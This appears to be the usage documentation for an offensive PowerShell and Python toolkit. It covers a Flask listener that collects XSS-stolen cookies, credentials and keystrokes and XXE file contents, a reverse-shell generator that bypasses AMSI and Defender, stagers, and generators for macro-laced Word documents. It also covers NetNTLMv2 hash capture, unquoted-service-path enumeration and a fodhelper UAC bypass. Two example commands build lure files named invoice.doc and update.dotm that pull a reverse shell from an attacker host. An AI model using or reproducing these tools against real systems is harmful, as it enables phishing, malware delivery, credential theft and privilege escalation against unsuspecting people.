# Synopsis:
# Simple Flask web server for bi-directional file transfers (POST and GET),
# supporting both HTTP and HTTPS using self-signed certificates.  Intended
# to be used with the PowerShell WebClient helper script(s), as well as
# templated Web Exploitation (XXE & XXE) payloads.

# Web Exploitation Support:
# o  XSS Cookie Exfiltration           (/cookie/<cookie_value>)
# o  XSS Saved Credential Exfiltration (/user/<username>, /password/<password>)
# o  XSS Keylogging                    (/keys/<key>)
# o  XXE Exfiltration                  (/xxe?content=<file_content>)

# Miscellaneous:
# o  Using '--ssl' with no specified port will toggle to 443.
# o  "Opsec" support: static URL with filenames specified in HTTP headers.
# o  PoC: HTML, MD, and PHP file rendering at in '/render/<file_name>'.

# Parameters:
# -d | --directory <string>  (default: ./uploads)
# -p | --port <int>          (default: 80,443)
# -s | --ssl                 (default: false)
# -D | --debug               (default: false)
# -h | --help

# Synopsis:
# Modular, robust custom reverse shell generator with randomly generated variables
# that can bypass Windows Defender, provide seemless encryption, and have built-in
# tools for intuitive lateral file tranfers.
# 
# Parameters:
#    Main Functionality
#      -IPAddress             -->   Attacker IP address or hostname (required)
#      -Port                  -->   Attacker listening port (required)
#      -Raw                   -->   Return reverse shell payload in cleartext rather than base64
#      -Help                  -->   Return Get-Help information
#
#    Modular Options
#      -AmsiBypass            -->   Disable AMSI in current session
#      -SSL                   -->   Encrypt reverse shell via SSL with self-signed certificates
#      -HttpsBypass           -->   Disable HTTPS self-signed certificate checks in the session
#      -B64Reflection         -->   Reflects a static Base64 string of 'SSC.dll' instead of using Add-Type in the payload
#      -PowerShell2Support    -->   Adjust the reverse shell payload to support PowerShell 2.0
#      -Binary                -->   PowerShell binary to use (default: 'powershell')
#      -Headless              -->   Create reverse shell payload without '-nop -ex bypass -wi h' parameters
#      -Verbose               -->   Make reverse shell variables descriptive instead of randomly generated
#
#    PMA Server Compatibility (Static)
#      -RemoteReflection      -->   Remotely reflect 'SSC.dll' from the revshell IP address instead of using Add-Type in the payload
#      -WebClientHelpers      -->   Add WebClientHelpers ('download','upload','import') into the revshell, pointing to the revshell IP address
#      -WebClientOpsec        -->   WebClientHelpers, but hiding filename requests in the HTTP request headers instead of in the URL.
#
#    PMA Server Compatibility (Specified)
#      -RemoteReflectionURL   -->   Specific URL hosting 'SSC.dll' to reflect (e.g., 'http(s):https://<ip_addr>/SSC.dll')
#      -WebClientHelpersURL   -->   Specific URL of 'pma_server.py' to point WebClientHelpers to (e.g., 'http(s):https://<ip_addr>')
#      -WebClientOpsecURL     -->   Specific URL of 'pma_server.py' to point WebClientHelpers to via OPSEC method.

# Synopsis:
# Simple PowerShell stager generator to point to web hosted payloads or commands.
# 
# Parameters:
#   -PayloadURL  -->  URL pointing to the reverse shell payload
#   -Command     -->  PowerShell command to execute instead of a reverse shell stager
#   -Raw         -->  Return stager payload in cleartext rather than base64
#   -Binary      -->  PowerShell binary to use (default: 'powershell')
#   -Headless    -->  Create stager payload without '-' parameters
#   -Help        -->  Return Get-Help information

# Synopsis:
# Generate Macro Infested Word 97-2003 Documents (.doc)
#
# Requires: Microsoft Office API (VBA Project Object Model)
# o  Enable   : 'Trust Access to the VBA project object model'
# o  Location : Word --> Options --> Trust Center --> Macro Settings --> Developer Macro Settings
# 
# Parameters:
#   -DocumentName   -->  Output name of the malicious Word Document (.doc)
#   -PayloadURL     -->  URL of the hosted payload that the macro downloads and executes
#   -MacroContents  -->  Advanced: User inputs custom macro instead of the generated one
#   -Help           -->  Return Get-Help information

# Example:
Get-MacroInfestedWordDoc -DocumentName invoice.doc -PayloadURL https://<attacker_ip>/revshell

# Synopsis:
# Generate Macro Infested Word Template (.dotm) an Inject into a Word Document (.docx)
#
# Requires: Microsoft Office API (VBA Project Object Model)
# o  Enable   : 'Trust Access to the VBA project object model'
# o  Location : Word --> Options --> Trust Center --> Macro Settings --> Developer Macro Settings
# 
# Parameters:
#   -TemplateURL    -->  URL where the malicious Word Template (.dotm) will be hosted
#   -PayloadURL     -->  URL of the hosted payload that the macro downloads and executes
#   -Document       -->  Advanced: Target templated Word Document (.docx) to inject
#   -MacroContents  -->  Advanced: User inputs custom macro instead of the generated one
#   -Help           -->  Return Get-Help information

# Example:
Get-TemplateInjectedPayload -TemplateURL https://<attacker_ip>/office/update.dotm -PayloadURL https://<attacker_ip>/revshell

# Synopsis:
# Simple VBA Macro Generator, supporting three types of payloads.
#
# Payloads:
# o  Staged payload requires a URL hosting the intended text-based payload (with support for HTTPS via self-signed certificates).
# o  Stagless payload is a simple barebones shell command.
# o  Hash grabbing payload is a simple macro that reaches to a file share, revealing the user's NetNTLMv2 hash.
#
# Insert Into:
# o  Project (<filename>) --> Microsoft Word Objects --> ThisDocument
# 
# Parameters: 
#   -RawPayload  -->  Payload to execute via simple shell macro (Alias: Stageless) 
#   -PayloadURL  -->  URL of a text-based payload that the macro executes (Alias: Staged) 
#   -SharePath   -->  Share path macro reaches out to to reveal user's NetNTLMv2 hash
#   -PrivateSub  -->  Make Subroutine Private instead of Public
#   -Help        -->  Return Get-Help information

# Synopsis:
# Enumeration script developed to easily parse the Access Control Lists (ACLs) and other parameters
# of Windows Services, such as the service owner, start mode, and whether the service path is vulnerable
# to an unquoted service path attack.  Unquoted service paths are able to be audited for writeability
# via the '-Audit' parameter.
#
# By default the script will return an object containing sorted service binary ACLs.
# 
# Parameters:
#   -StartMode      -->  Services with specified start modes (e.g., 'Auto','Disabled','Manual')
#   -UnquotedPaths  -->  Services containing spaces in their paths but not wrapped in quotations
#   -Audit          -->  Test if vulnerable portions of the unquoted path are writeable for the current user
#   -Owner          -->  Services belonging to specified Owner (e.g., 'SYSTEM')
#   -FullControl    -->  Services with FullControl access rights for specified group (e.g., 'Administrators')
#   -OnlyPath       -->  Return full service paths instead of ACL's
#   -Help           -->  Return Get-Help information

# Synopsis:
# Privilege esclation script developed to exploit the 'fodhelper.exe' UAC bypass,
# with moderate validation built in (e.g., session is 64-bit, current user is in
# the Local Administrators group).
# 
# Parameters:
#   -Payload  -->  Command to execute when 'fodhelper.exe' is executed.
#   -Help     -->  Return Get-Help information